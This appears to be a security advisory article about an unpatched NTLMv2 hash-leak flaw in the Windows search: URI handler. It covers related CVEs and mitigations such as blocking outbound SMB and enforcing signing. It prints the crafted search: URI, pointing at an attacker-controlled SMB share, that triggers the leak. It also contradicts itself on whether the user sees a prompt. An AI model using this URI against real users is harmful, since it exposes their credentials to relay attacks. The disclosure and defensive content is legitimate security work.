Windows Search URI NTLMv2 Theft 2026: Microsoft Won't Fix It
Microsoft patched a Windows Snipping Tool vulnerability in April 2026 that leaked NTLMv2 hashes via a crafted URI handler. One month later, a security researcher discovered the exact same mechanism in a different URI handler — and Microsoft declined to patch it. Cybersecurity researchers disclosed details of an unpatched issue that could be exploited to disclose a user's NTLMv2 hash to the attacker. Like in the case of CVE-2026-33829, which impacted the Windows Snipping Tool's ms-screensketch: URI handler, the newly flagged issue resides in the search: URI handler.
Following responsible disclosure on April 15, 2026, Microsoft declined to address the issue, stating "only Important and Critical severity cases meet our bar for servicing."
The attacker who captures your NTLMv2 hash can use it for relay attacks, potentially gaining authenticated access to every service in your network that accepts NTLM authentication without SMB signing enforced. Here is exactly how it works and what you must do since Microsoft won't.
How the Attack Works: URI Handler to NTLM Hash Disclosure
The search: URI Handler Flaw
The newly discovered shortcoming achieves the same end goal using "search:" and "crumb=location:" instead of "filePath" using a command like below:
start "" "search:query=test&crumb=location:\\10.0.1.100\share"
An attacker could induce the user into clicking a specially crafted link in a web browser or other URL source, by embedding it in a web page or email message. If the user approves the launching of the link, the crafted URL can induce the computer to connect to an SMB server of the attacker's choosing, which would disclose the user's NTLMv2 hash to the attacker, who could use this to authenticate as the user.
The attack requires nothing more than a user clicking a link — in an email, a web page, a Teams message, or any application that renders clickable URLs. No exploit code, no privilege escalation, no prior foothold.
The CVE-2026-33829 Pattern — Same Mechanism, Different Handler
The problem with CVE-2026-33829 had to do with the fact that the Snipping Tool's URI handler accepted a "filePath" parameter, failed to validate it, and would reach out to any Universal Naming Convention (UNC) path passed to it. This, in turn, could trigger NTLM authentication and expose the victim's Net-NTLMv2 hash to the attacker.
"It used the same NTLM leakage mechanism, produced the same Net-NTLMv2 leak, had the same prerequisites, and carried the same Moderate rating," Huntress researcher Andrew Schwartz said. It's worth noting that the use of a "crumb" parameter to steal the hash was documented by Varonis in February 2024 as CVE-2023-35636.
Table: Windows URI Handler NTLMv2 Leak Vulnerabilities
| CVE | Handler | Parameter | Status | Disclosed |
|---|---|---|---|---|
| CVE-2023-35636 | Outlook / other | crumb parameter | Patched | Feb 2024 |
| CVE-2026-33829 | ms-screensketch: | filePath | Patched April 2026 | April 2026 |
| Unpatched | search: | crumb=location: | NOT PATCHED | April 15, 2026 |
Why This Matters: NTLM Relay Attack Chains
From Hash to Authenticated Access
An NTLMv2 hash captured via this vulnerability cannot be directly cracked at speed, but it enables relay attacks — where the attacker uses the captured hash to authenticate to other network services on behalf of the victim.
If SMB signing is not enforced on your network (a default in many environments), the captured hash can be relayed to:
- Active Directory domain controllers
- File servers and network shares
- Exchange and SharePoint servers
- Any internal service accepting NTLM authentication
Important: The attack chain requires only a single click from a victim user — the hash is exposed through an outbound SMB connection triggered automatically by the crafted
search:URI. No user prompt, no security warning, no additional interaction beyond clicking the link.
Microsoft's Decision Not to Patch
Microsoft declined to address the issue, stating "only Important and Critical severity cases meet our bar for servicing." In the absence of a fix, it's advised to block outbound SMB (TCP/445 and TCP/139) on hosts that don't need it, enforce SMB signing so that captured hashes can't be relayed against internal services, and disable NTLM where applicable.
Table: Mitigations for Unpatched Windows Search URI NTLMv2 Flaw
| Mitigation | Action | Protection Level |
|---|---|---|
| Block outbound SMB | Firewall rule: block TCP/445 and TCP/139 outbound | Prevents hash disclosure |
| Enforce SMB signing | Group Policy: require SMB signing on all clients | Prevents relay attacks |
| Disable NTLM authentication | Group Policy: restrict NTLM or require Kerberos | Eliminates attack class |
| Email link filtering | Block search: URI schemes in email clients | Reduces phishing delivery vector |
| User awareness training | Train users to avoid clicking search: links | Reduces attack surface |
Key Takeaways
- Block outbound TCP/445 and TCP/139 on all hosts that do not require external SMB connectivity — this directly prevents hash disclosure via the crafted URI
- Enforce SMB signing immediately via Group Policy — this prevents relay attacks even if a hash is captured
- Evaluate disabling NTLM in your environment — Microsoft has been recommending this for years and this vulnerability reinforces the urgency
- Filter
search:URI scheme in email and web-rendered content — restricting the delivery vector reduces attack opportunity - Do not wait for a Microsoft patch — it has been explicitly declined; defensive configuration is the only available remedy
- Audit similar URI handlers — the CVE-2026-33829 / search: pattern suggests other Windows URI handlers may carry the same flaw
Conclusion
Microsoft's decision not to patch this vulnerability creates a permanent exposure in every Windows environment that relies on NTLM authentication — which, in 2026, is still a large proportion of enterprise Active Directory deployments. The hash theft mechanism is trivially exploitable, requires only a single user click, and enables relay attacks against any service not protected by SMB signing. The remediation is entirely within your control: block outbound SMB, enforce signing, and begin planning the elimination of NTLM from your environment. Microsoft will not fix this. You need to.
Frequently Asked Questions
Q: What is the unpatched Windows Search URI vulnerability and how does it work?
A: The vulnerability exploits the Windows search: URI handler, which fails to validate the crumb=location: parameter. When a user clicks a specially crafted link containing a UNC path (e.g., search:query=test&crumb=location:\\attacker-ip\share), Windows automatically initiates an SMB connection to the attacker's server, disclosing the user's NTLMv2 hash in the process.
Q: Why hasn't Microsoft patched this vulnerability? A: Microsoft reviewed the issue following responsible disclosure by Huntress researcher Andrew Schwartz on April 15, 2026, and declined to patch it, stating the vulnerability does not meet their threshold for servicing because it does not reach Important or Critical severity under their internal rating criteria. The disclosure came after Microsoft patched a near-identical flaw (CVE-2026-33829) in the Snipping Tool's ms-screensketch: URI handler in April 2026.
Q: What can an attacker do with a stolen NTLMv2 hash? A: A captured NTLMv2 hash enables relay attacks — where the hash is relayed in real time to authenticate against other network services on behalf of the victim. If SMB signing is not enforced, an attacker can gain authenticated access to file servers, domain controllers, SharePoint, Exchange, and any other service accepting NTLM authentication without requiring the plaintext password.
Q: What is the most effective single mitigation for this vulnerability? A: Enforcing SMB signing across all clients and servers via Group Policy is the most effective mitigation — even if a hash is captured via the search: URI flaw, SMB signing prevents the captured hash from being relayed against internal services. Blocking outbound TCP/445 and TCP/139 at the firewall additionally prevents the initial hash disclosure.
Q: How does this vulnerability relate to previous NTLMv2 hash theft flaws? A: This vulnerability follows the exact same mechanism as CVE-2026-33829 (Snipping Tool ms-screensketch: handler, patched April 2026) and CVE-2023-35636 (Outlook crumb parameter, patched February 2024). All three exploit URI handlers that accept UNC paths without validation, triggering automatic NTLM authentication against attacker-controlled servers. The pattern suggests additional Windows URI handlers may carry the same flaw.
Enjoyed this article?
Subscribe for more cybersecurity insights.